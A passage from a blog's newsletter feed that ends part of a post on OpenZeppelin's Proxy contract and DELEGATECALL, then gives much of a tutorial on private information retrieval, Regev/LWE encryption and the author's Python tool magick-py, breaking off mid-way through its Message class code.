</code></pre><p><code>proxy/</code> contracts provide a low-level implementation suite for different proxy patterns with and without upgradeability.</p><p>in another post, i will go over more details about different types of upgradeable proxies. today, we will take a quick look at <code>Proxy</code>.</p><hr><h3 id="h-proxyproxysol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">proxy/Proxy.sol</h3><p>the main gist of the <code>abstract</code> <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol">contract</a> <code>Proxy</code> is to provide a <code>fallback()</code> function that delegates all calls to another contract using the EVM opcode <code>DELEGATECALL</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b1df8d79f02d45774ffccc2a2398d75b824b91635117d8dda0982dae39b9359c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><code>Proxy</code> does not contain any state variable and starts directly with the <code>internal</code> <code>virtual</code> function <code>_delegate()</code>, which runs inline assembly to delegate the current call to a second contract (given by <code>implementation</code>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b0d166121ee1a5a422ad57af1b73e60ccd8af41dac7a92580e4a9b1f52f423eb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>let’s see what the low-level code is doing:</p><ol><li><p>first, it takes full-control of memory to copy <code>msg.data</code> , writing at position <code>0</code>.</p></li><li><p>then call <code>implementation</code> (the second contract address) with <code>delegatecall()</code> and copy the returned data.</p></li><li><p>finally, revert if <code>result</code> is <code>0</code> (meaning an error) or return the data.</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/da56d44dd33b6f8907c154d0b403e9910c9c4a4a67b8500862515a15ab4facec.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>next, the <code>fallback()</code> function delegates the current call to the address returned by the <code>internal</code> <code>virtual</code> <code>_implementation()</code> function (an overridden function returning the address <code>fallback()</code> should delegate).</p><p>the <code>fallback()</code> function will return directly to the external caller, <em>i.e.,</em> <code>success</code> and return data of the delegated call is returned to the caller of the proxy.</p><blockquote><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p><strong><em>i mentioned the opcode</em></strong> <code>DELEGATECALL</code> <strong><em>before when talking about</em></strong> <code>view</code> <strong><em>modifiers for</em></strong> <code>library</code>.</p><p><code>delegatecall()</code> <strong><em>is the low-level function for this opcode, similar to</em></strong> <code>call()</code>.</p><p><strong><em>basically, when a contract</em></strong> <code>A</code> <strong><em>executes</em></strong> <code>delegatecall()</code> <strong><em>to contract</em></strong> <code>B</code>, <code>B</code>’<strong><em>s code is executed with contract</em></strong> <code>A</code><strong><em>’ s storage,</em></strong> <code>msg.sender</code><strong><em>, and</em></strong> <code>msg.value</code>.</p><p><strong><em>to learn more about how attackers can exploit</em></strong> <code>DELEGATECALL</code>, <strong><em>check </em></strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/ethernaut-foundry-detailed-solutions-sol/tree/main/test/06"><strong><em>my writeup for ethernaut’s delegation</em></strong></a><strong><em>.</em></strong></p><p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p></blockquote><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/1d19256eed8c873d844d18b51f07a07945cbf7f4f3e4e66da6e882f56307f935.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on simple private information retrieval experiments]]></title>
            <link>https://paragraph.com/@go-outside/on-simple-private-information-retrieval-experiments</link>
            <guid>aC91ASQSwvIYSXTUBZSa</guid>
            <pubDate>Fri, 16 Jun 2023 00:51:26 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a tool i wrote to learn and run simple experiments on PIR (a fascinating research subject in cryptography). here is the source code. this particular research is highly based on the work of alexandra henzinger on SimplePIR/DoublePIR and janmajaya mall’s zuzalu demo. if you are advanced in the subject already, here is an excellent presentation by alexandra (at the simons institute, a foundation from quant-father jim simons, which also sponsored part of my research in my ph...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a tool i wrote to learn and run simple experiments on PIR (a fascinating research subject in cryptography).</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-py/tree/main/magick-py"><strong>here is the source code.</strong></a></p><p>this particular research is highly based on the work of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ahenzinger/simplepir"><strong>alexandra henzinger</strong></a> on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eprint.iacr.org/2022/949"><strong>SimplePIR/DoublePIR</strong></a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Janmajayamall"><strong>janmajaya mall</strong></a>’s <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/presentation/d/1ESZ2xZeyBYyzc-AWvZwc8o4ioOGGZtK9KlnsplzsfQ0/edit"><strong>zuzalu demo</strong>.</a></p><p>if you are advanced in the subject already, here is an excellent presentation by alexandra (at the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://simons.berkeley.edu/homepage"><strong>simons institute</strong></a>, a foundation from <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://en.wikipedia.org/wiki/Jim_Simons_(mathematician)"><strong>quant-father jim simons</strong></a>, which also sponsored part of my research in my phd in physics):</p><div data-type="youtube" videoId="dmUgkoKZT2I">
      <div class="youtube-player" data-id="dmUgkoKZT2I" style="background-image: url('https://i.ytimg.com/vi/dmUgkoKZT2I/hqdefault.jpg'); background-size: cover; background-position: center">
        <a href="https://www.youtube.com/watch?v=dmUgkoKZT2I">
          <img src="{{DOMAIN}}/editor/youtube/play.png" class="play"/>
        </a>
      </div></div><hr><h2 id="h-todays-outline" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">👾 today’s outline</h2><pre data-type="codeBlock" text="0000. introduction to pir and this work
0001. magick-py, a tool for simple PIR 
0010. setting up magick-py 
0011. experiment I: linear key regev encryption with sampled error
0100. experiment II: linear key regev encryption with a scaled message
0101. experiment III: proving the scheme is additive homomorphic
0110. experiment IV: proving the scheme supports plaintext inner product
0111. experiment V: a very simple pir setup without encryption
1000. experiment VI: a full secret key regev PIR experiment
1001. concluding thoughts
"><code>0000. introduction to pir and <span class="hljs-built_in">this</span> work
0001. magick-py, a tool <span class="hljs-keyword">for</span> simple PIR 
0010. setting up magick<span class="hljs-operator">-</span>py 
0011. experiment I: linear key regev encryption with sampled <span class="hljs-function"><span class="hljs-keyword">error</span>
0100. <span class="hljs-title">experiment</span> <span class="hljs-title">II</span>: <span class="hljs-title">linear</span> <span class="hljs-title">key</span> <span class="hljs-title">regev</span> <span class="hljs-title">encryption</span> <span class="hljs-title">with</span> <span class="hljs-title">a</span> <span class="hljs-title">scaled</span> <span class="hljs-title">message</span>
0101. <span class="hljs-title">experiment</span> <span class="hljs-title">III</span>: <span class="hljs-title">proving</span> <span class="hljs-title">the</span> <span class="hljs-title">scheme</span> <span class="hljs-title"><span class="hljs-keyword">is</span></span> <span class="hljs-title">additive</span> <span class="hljs-title">homomorphic</span>
0110. <span class="hljs-title">experiment</span> <span class="hljs-title">IV</span>: <span class="hljs-title">proving</span> <span class="hljs-title">the</span> <span class="hljs-title">scheme</span> <span class="hljs-title">supports</span> <span class="hljs-title">plaintext</span> <span class="hljs-title">inner</span> <span class="hljs-title">product</span>
0111. <span class="hljs-title">experiment</span> <span class="hljs-title">V</span>: <span class="hljs-title">a</span> <span class="hljs-title">very</span> <span class="hljs-title">simple</span> <span class="hljs-title">pir</span> <span class="hljs-title">setup</span> <span class="hljs-title">without</span> <span class="hljs-title">encryption</span>
1000. <span class="hljs-title">experiment</span> <span class="hljs-title">VI</span>: <span class="hljs-title">a</span> <span class="hljs-title">full</span> <span class="hljs-title">secret</span> <span class="hljs-title">key</span> <span class="hljs-title">regev</span> <span class="hljs-title">PIR</span> <span class="hljs-title">experiment</span>
1001. <span class="hljs-title">concluding</span> <span class="hljs-title">thoughts</span>
</span></code></pre><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/5jETivOoz9oNxVgNSHJmuU?si=2154f67fd5d7459b">https://open.spotify.com/track/5jETivOoz9oNxVgNSHJmuU?si=2154f67fd5d7459b</a></p><hr><h2 id="h-0000-introduction-to-private-information-retrieval-lattice-based-cryptography-and-fully-homomorphic-encryption-schemes" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0000. introduction to private information retrieval, lattice-based cryptography, and fully homomorphic encryption schemes</h2><h3 id="h-whats-pir" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">what’s PIR</h3><p><strong>private information retrieval</strong> (PIR) was first introduced in 1995 by <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://www.wisdom.weizmann.ac.il/~oded/p_pir.html">b. chor et al</a>. and refers to the <strong>ability to query a database without revealing which item is looked up or whether it exists,</strong> by using cryptography primitives.</p><p>it’s a pretty cool technology. once PIR becomes less expensive or prohibitive (<em>i.e.</em>, cheaper computation with a small cipher, as PIR inherently has a high cost for server-side computation), these are some of the possible applications that could utilize the protocol:</p><ul><li><p><strong>searching IP databases</strong>: when filing a new IP, the author must search the IP database to check that no previous entry significantly overlaps with their invention. PIR could allow the search to be performed without leaving search terms on the query log of the IP database.</p></li><li><p><strong>real-time asset quotes</strong>: investors interested in a particular asset often monitor the market to determine when to purchase. PIR could allow their interest to be confidential.</p></li><li><p><strong>safe browsing and private oracles, checking passwords over breached databases (or any type of credentials), certificate transparency (CT) checks, certificate revocation checks,</strong> among many others.</p></li></ul><p>by the way, PIR schemes are generally divided into <strong>single-server schemes</strong> and <strong>multiple-server schemes</strong> (which allows you to remove the trust from a subset of the servers).</p><p>in this research, we will look at simple single-server PIR protocol setups, where a server holds an embedded database <code>D</code> represented by a <code>n x n</code> square matrix (whose elements are under a constant modulo), and a client wants to privately read the <code>ith</code> database item (<code>Di</code>, with <code>n</code> elements) without letting the server learn about <code>i</code>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fabccdecab9b34d2fdffd0443ff63407621043db2c76e879edfc1091746d52c3.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-interlude-lattice-based-cryptography-and-group-theory" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">interlude: lattice-based cryptography and group theory</h3><p>the subject of PIR is also a subset of the broad topic of <strong>lattice-based cryptography</strong>, which refers to a series of <strong>quantum-resistant</strong> cryptographic primitives that involve lattices, either in their construction or in the security proof.</p><blockquote><p>💡 <em>Over an n-dimensional vector space, a lattice is an infinite set of points represented by a collection of vectors.</em></p></blockquote><p>if you need an introduction to quantum cryptography, check out my (uber-old and outdated) <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://defcon.org/"><strong>def con ‘16</strong></a> talk:</p><div data-type="youtube" videoId="1Fp6ibfOQ4Y">
      <div class="youtube-player" data-id="1Fp6ibfOQ4Y" style="background-image: url('https://i.ytimg.com/vi/1Fp6ibfOQ4Y/hqdefault.jpg'); background-size: cover; background-position: center">
        <a href="https://www.youtube.com/watch?v=1Fp6ibfOQ4Y">
          <img src="{{DOMAIN}}/editor/youtube/play.png" class="play"/>
        </a>
      </div></div><blockquote><p>💡 <em>in group theory, a lattice in the</em> <code>R^n</code> <em>is an infinite set of points in this space in which coordinate-wise addition or subtraction of two points produces another point, so every point in the space is within some maximum distance of any lattice point.</em></p><p><em>a lattice can also be described as a free abelian (commutative) group of dimension</em> <code>n</code><em>, spanning the vector space</em> <code>R^n</code><em>; or the symmetry group of a discrete translation symmetry in</em> <code>n</code> <em>directions.</em></p><p><em>if you would like to learn more about group theory, especially in a language for physicists, here is a </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://www.astro.sunysb.edu/steinkirch/books/group.pdf"><strong><em>free and open-source graduate book i wrote</em></strong></a><em> back when i was a student.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5a0cf338a490a7c63bbf4c521f7097ea0d032746f3a8e848f6ffb34ad70b491e.png" alt=".an excerpt from my book, addressing homomorphism for covering groups in lie algebra." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.an excerpt from my book, addressing homomorphism for covering groups in lie algebra.</figcaption></figure><hr><h3 id="h-homomorphic-encryption-schemes" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">homomorphic encryption schemes</h3><p>before we start, we need to review <strong>the concept of homomorphic encryption</strong>.</p><p>suppose a server that can <code>XOR</code> some client’s data. the client would send their cipher <code>c0</code>, obtained from their plaintext data <code>m0</code> and their key <code>k0</code>:</p><pre data-type="codeBlock" text="c = m0 ⌖ k0
"><code><span class="hljs-attr">c</span> = m0 ⌖ k0
</code></pre><p><strong>homomorphism</strong> is the property that if a client sends two encrypted messages, <code>c1</code> and <code>c2</code> (from messages <code>m0</code> and <code>m1</code>, respectively), the server can return <code>c1 ⌖ c2</code> so the client can retrieve <code>m0 ⌖ m1</code>.</p><p><strong>additive homomorphism</strong> occurs when, given two ciphertexts <code>(a0, c0)</code> and <code>(a1, c1)</code>, their sum <code>(a0 + a1, c0 + c1)</code> decrypts to the sum of the plaintexts (provided that the error remains sufficiently small).</p><p><strong>partially homomorphic encryption</strong> can be easily achieved as it accepts the possibility that not all data is encrypted (or homomorphic) through other operations (such as multiplication).</p><p><strong>fully homomorphic encryption (FWE)</strong>, which is much harder to achieve, would occur if a server operated on encrypted data <strong>without seeing ANY of its content.</strong></p><blockquote><p>💡 *in a more formal definition, homomorphic encryption is a form of encryption with evaluation capability for computing over encrypted data without access to the secret key, i.e., supporting arbitrary computation on ciphers. fully homomorphic encryption could be defined as the evaluation of arbitrary circuits of multiple types of (unbounded depth) gates (relevant to zero-knowledge proof setups). vitalik’s talks about homomorphic encryption in <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://vitalik.eth.limo/general/2020/07/20/homomorphic.html"><strong>this post</strong></a>.*</p></blockquote><hr><h3 id="h-learning-with-errors-lwe" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">learning with errors (LWE)</h3><p>a subsequent important progress in the the field was a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://dl.acm.org/doi/10.1145/1060590.1060603"><strong>2005 seminal paper</strong></a><strong>,</strong> where oded regev introduced <strong>the first lattice-based public-key encryption scheme</strong>, and the <strong>learning with errors</strong> (LWE) problem.</p><p>the LWE problem relies on the hardness of distinguishing between a message with added noise and a random sample. it can be thought of as a search in a (noisy) modular set of equations whose solutions can be very difficult to solve. in other words, given m samples of coefficients (bi, ai) in the linear equation <code>bi = &lt;ai, s&gt; + ei</code>, with the error <code>ei</code> sampled from a small range <code>[-bound, bound]</code>, finding the secret key s is &quot;hard&quot;.</p><p>note, however, that LWE-based encryption schemes have a <strong>significant drawback due to noise growth</strong>. as the ciphertexts produced by these schemes are noisy encodings of the plaintext, <strong>homomorphic operations between ciphertexts increase the magnitude of the noise</strong>. if the noise exceeds a certain threshold, the correctness of the decryption may no longer hold. despite this problem, <strong>regev encryption</strong> can be very efficient for PIR as it is additively homomorphic.</p><p>in the past decades, regev&apos;s security proof and the LWE scheme&apos;s efficiency have been the subject of intense research among cryptographers, including <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://crypto.stanford.edu/craig/craig-thesis.pdf">craig gentry&apos;s thesis on the first fully homomorphic encryption scheme (2009)</a>.</p><hr><h3 id="h-a-simple-implementation-of-the-pir-protocol" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">a simple implementation of the PIR protocol</h3><p>a PIR protocol aims to design <strong>schemes that satisfy privacy and correctness constraints while achieving the minimum possible download cost</strong>.</p><blockquote><p>💡 <em>the </em><strong><em>download cost</em></strong><em> of a PIR scheme is defined as </em><strong><em>the total number of bits downloaded by the user from all the databases, normalized by the message size</em></strong><em>. the </em><strong><em>PIR rate</em></strong><em> is defined as </em><strong><em>the reciprocal of the PIR download cost</em></strong><em>.</em></p></blockquote><p>one possible implementation approach is to choose a suitable polynomial and then have a single server preprocess the data. this preprocessing depends only on the database <code>D</code> and the public parameters of the regev encryption scheme, so that the server can reuse the work across many queries from many independent clients.</p><p>after the preprocessing step, to answer a client&apos;s query, the server must compute only roughly <code>N 32-bit</code> integer multiplications and additions on a database of <code>N bytes</code>. the catch is that the client must download a <em>hint</em> matrix about the database contents after this preprocessing.</p><p>therefore, a simple serve PIR scheme would comprise two phases:</p><ul><li><p><strong>the offline phase</strong>, with pre-computations and the exchange of <em>hints</em>, and</p></li><li><p><strong>the online phase</strong>, with the query processing on the server and response decoding on the client.</p></li></ul><p>the practicality of PIR-based applications is primarily impacted by the query processing time and the hint exchange phase. the theoretical query size grows as the square root of the number of field elements representing the database. for example, the largest query size for a database of <code>32 GB</code> is around <code>600 KB</code>.</p><hr><h3 id="h-why-pir-is-still-not-feasible" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">why PIR is still not feasible</h3><p>although modern PIR schemes require surprisingly little communication and the protocol works well enough at smaller scales, the time needed to scan it grows proportionally as the database grows. for bigger databases, the process becomes prohibitively inefficient (fetching a database record grows only polylogarithmically with the number of records, <code>N</code>).</p><p>after preprocessing the database, the server can answer a query in time sublinear in <code>N</code>. thus, the current hard limit on the throughput of PIR schemes is the ratio between the database size and the server time to answer a query (the speed with which the PIR server can read the database from memory).</p><p>finally, it&apos;s important to note that PIR protocols do not ensure data integrity or authentication. an authenticated PIR scheme could combine an unauthenticated multi-server PIR scheme with a standard integrity-protection mechanism, such as merkle trees.</p><p>in this approach, PIR servers download the data from the blockchain to construct PIR databases. for each database, the PIR server creates a description file (usually called a <em>manifest file</em>). the user collects all available block headers and fetches the manifest files from the PIR servers to query the PIR database later efficiently.</p><hr><h3 id="h-simple-and-fast-single-server-private-information-retrieval-by-alexandra-henzinger-et-al-2022" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eprint.iacr.org/2022/949">&quot;simple and fast single-server private information retrieval&quot;, by alexandra henzinger et. al (2022)</a></h3><ul><li><p>this paper introduces a design for <strong>SimplePIR</strong>, <strong>the fastest single-server PIR scheme known to date</strong>.</p></li><li><p>the security is held under a <strong>Learning with Errors scheme</strong> that requires no polynomial arithmetic or fast fourier transforms. regev encryption gives a secret-key encryption scheme that is secure under the LWE assumption.</p></li><li><p>to answer a client’s query, the server performs fewer than <strong>one 32-bit multiplication</strong> and <strong>one 32-bit addition</strong> per <strong>database byte</strong>, achieving <strong>10 GB/s/core server throughput</strong>.</p></li><li><p>the first approach to <strong>query a 1 GB database</strong> demands the client to first download a <strong>121 MB &quot;hint&quot; about the database contents</strong>. then, the client can make any number of queries, each requiring <strong>242 KB of communication</strong>.</p></li><li><p>the second approach <strong>shrinks the hint to 16 MB</strong>. then, the following queries demand <strong>345 KB of communication</strong>.</p></li><li><p>finally, the scheme is applied, together with a novel data structure for approximate set membership, to <strong>private auditing in certificate transparency</strong>. the results can be compared to google chrome’s current approach, with <strong>16 MB of downloads per month, and 150 bytes per TLS connection</strong>.</p></li></ul><hr><h3 id="h-this-work-my-illustration-of-simplepir" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">this work: my illustration of simplePIR</h3><p>in our code, the single-server database is represented by a square matrix <code>(m x m)</code>, while a query is a vector filled by <code>0s</code> except at the asking row and column <code>(m x 1)</code>. any result should have the same dimension as the query vector (<em>i.e.</em>, the space is reduced to the size of the column where the data is located).</p><p>the server retrieves the queried item by:</p><ol><li><p>looping over every column and multiplying their values to the value in the same row of the query vector, and</p></li><li><p>adding the values found in each column in its own matrix.</p></li></ol><p>a secret key regev encryption scheme using sampled errors to reproduce LWE is then built on top of the ideas above. privacy is guaranteed by checking that fully homomorphic encryption is held with respect to addition in this setup (<em>i.e.</em>, additive homomorphism).</p><hr><h3 id="h-the-rest-of-this-article" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">the rest of this article</h3><p>now that we have some context, we are ready to do some coding and math.</p><p>in the following sections, i will be illustrating a simple single-server PIR setup with LWE, built on several progressive experiments:</p><ol><li><p>running a simple linear key regev encryption experiment with sampled error</p></li><li><p>running a simple linear key regev encryption experiment with a scaled message</p></li><li><p>proving that the regev scheme is additive homomorphic</p></li><li><p>proving that the regev scheme supports plaintext inner product</p></li><li><p>running a very simple pir setup (without encryption)</p></li><li><p>running the full secret key regev PIR experiment</p></li></ol><hr><h2 id="h-0001-magick-py-a-cli-tool-for-simple-pir" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0001. magick-py, a CLI tool for simple PIR</h2><p>we will now be building the parts of the tool i wrote to help understand how PIR can work. i call it <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-py/tree/main/magick-py"><strong>magick</strong></a>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/258e946c3f219701119b4ce731ed5eca72d1e50f5dfa8fb94ce42d952c56ce12.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h3 id="h-primitive-classes-for-message-and-regev-encryption" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">primitive classes for message and regev encryption</h3><p>before we jump into the experiments, let’s take a look at the main parts of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/blockchain-science-py/blob/main/magick-py/README.md"><strong>magic-py</strong></a>’s source code:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0d1ca1d4e1107aaa7f512349a727a4aae49086009dfd3f1aa700e63a89f09c89.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>more specifically, we want to look at the primitive classes.</p><p>this is how <code>Message()</code> in <code>message.py</code> looks:</p><pre data-type="codeBlock" text="class Message:

    def __init__(self, mod=None, rows=None, cols=None, message=None):
        &quot;&quot;&quot;Initialize a message vector&quot;&quot;&quot;

        self.mod = mod
        self.rows = rows
        self.cols = cols
        self.message = message


    ############################
    #      Private methods 
    ############################

    def _check_dimensions(self, other_msg) -&gt; None:
        &quot;&quot;&quot;Check the dimensions of two matrices&quot;&quot;&quot;

        if self.rows != other_msg.rows or self.cols != other_msg.cols:
                log_error(f&apos;Matrices have different dimensions:&apos;)
                exit_with_error(f&apos;{self.rows}x{self.cols} and {other_msg.rows}x{other_msg.cols}&apos;)

    def __add__(self, vector):
        &quot;&quot;&quot;Add two matrices&quot;&quot;&quot;

        self._check_dimensions(vector)
        
        for i in range(len(self.message)):
            self.message[i] = (self.message[i] + vector.message[i]) % self.mod

        return self

    def __sub__(self, vector):
        &quot;&quot;&quot;Subtract two matrices&quot;&quot;&quot;

        self._check_dimensions(vector)

        for index in range(len(self.message)):
            self.message[index] = (self.message[index] - vector.message[index]) % self.mod
        
        return self

    def __mul__(self, vector):
        &quot;&quot;&quot;Multiply two matrices&quot;&quot;&quot;

        this_vector = [0] * (self.rows * vector.cols)
        for i in range(self.rows):
            for j in range(self.cols):
                for k in range(vector.cols):
                    this_vector[i * vector.cols + k] = (this_vector[i * vector.cols + k] + \
                                                       (self.message[i * self.cols + j] * \
                                                       vector.message[j * vector.cols + k])) % self.mod
        
        return Message(self.mod, self.rows, vector.cols, this_vector)
    
    def __eq__(self, vector):
        &quot;&quot;&quot;Check if two matrices are equal&quot;&quot;&quot;

        return (self.rows == vector.rows) and \
               (self.cols == vector.cols) and \
               (self.message == vector.message)

    def __repr__(self):
        &quot;&quot;&quot;Print the message vector&quot;&quot;&quot;

        return f&apos;\nRows: {self.rows}\nCols: {self.cols}\nVector: {self.message}\n&apos;


    ############################
    #     Public methods 
    ############################

    def calculate_scaling(self, numerator, denominator, this_mod):
        &quot;&quot;&quot;Calculate the scaled message vector&quot;&quot;&quot;

        this_vector = [0] * (self.rows * self.cols)

        for i in range(len(self.message)):
            this_vector[i] = round((numerator * self.message[i]) / denominator) % this_mod

        return Message(this_mod, self.rows, self.cols, this_vector)

    def set_query_element(self, row, col, value) -&gt; None:
        &quot;&quot;&quot;Set the value at a particular index&quot;&quot;&quot;

        self.message[row * self.cols + col] = value
        
    def get_query_element(self, row, col) -&gt; int:
        &quot;&quot;&quot;Get the value at a particular index&quot;&quot;&quot;

        return self.message[row * self.cols + col]


    ############################
    #     Static methods 
    ############################

    @staticmethod
    def create_random_message(mod, rows, cols): 
        &quot;&quot;&quot;Create a random message vector&quot;&quot;&quot;

        return Message(mod, rows, cols, [random.randint(0, mod - 1) for _ in range(rows * cols)])

    @staticmethod
    def create_zero_message(mod, rows, cols): 
        &quot;&quot;&quot;Create a zero message vector&quot;&quot;&quot;

        return Message(mod, rows, cols, [0 for _ in range(rows * cols)])

    @staticmethod
    def calculate_sample_error(bound, mod, rows, cols): 
        &quot;&quot;&quot;Create a random error message vector&quot;&quot;&quot;

        return Message(mod, rows, cols, [sample_error(bound) % mod for _ in range(cols * rows)])
"><code><span class="hljs-keyword">class</span> <span class="hljs-title class_">Message</span>:

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__init__</span>(<span class="hljs-params">self, mod=<span class="hljs-literal">None</span>, rows=<span class="hljs-literal">None</span>, cols=<span class="hljs-literal">None</span>, message=<span class="hljs-literal">None</span></span>):
        <span class="hljs-string">"""Initialize a message vector"""</span>

        self.mod = mod
        self.rows = rows
        self.cols = cols
        self.message = message


    <span class="hljs-comment">############################</span>
    <span class="hljs-comment">#      Private methods </span>
    <span class="hljs-comment">############################</span>

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">_check_dimensions</span>(<span class="hljs-params">self, other_msg</span>) -> <span class="hljs-literal">None</span>:
        <span class="hljs-string">"""Check the dimensions of two matrices"""</span>

        <span class="hljs-keyword">if</span> self.rows != other_msg.rows <span class="hljs-keyword">or</span> self.cols != other_msg.cols:
                log_error(<span class="hljs-string">f'Matrices have different dimensions:'</span>)
                exit_with_error(<span class="hljs-string">f'<span class="hljs-subst">{self.rows}</span>x<span class="hljs-subst">{self.cols}</span> and <span class="hljs-subst">{other_msg.rows}</span>x<span class="hljs-subst">{other_msg.cols}</span>'</span>)

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__add__</span>(<span class="hljs-params">self, vector</span>):
        <span class="hljs-string">"""Add two matrices"""</span>

        self._check_dimensions(vector)
        
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(self.message)):
            self.message[i] = (self.message[i] + vector.message[i]) % self.mod

        <span class="hljs-keyword">return</span> self

    <span class="hljs-keyword">def</span> <span class="hljs-title function_">__sub__</span>(<span class="hljs-params">self, vector</span>):
        <span class="hljs-string">"""Subtract two matrices"""</span>

        self._check_dimensions(vector)

        <span class="hljs-keyword">for</span> index <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(self.message)):
            self.message[index] = (self.message[index] - vector.message[index]) % self.mod
        
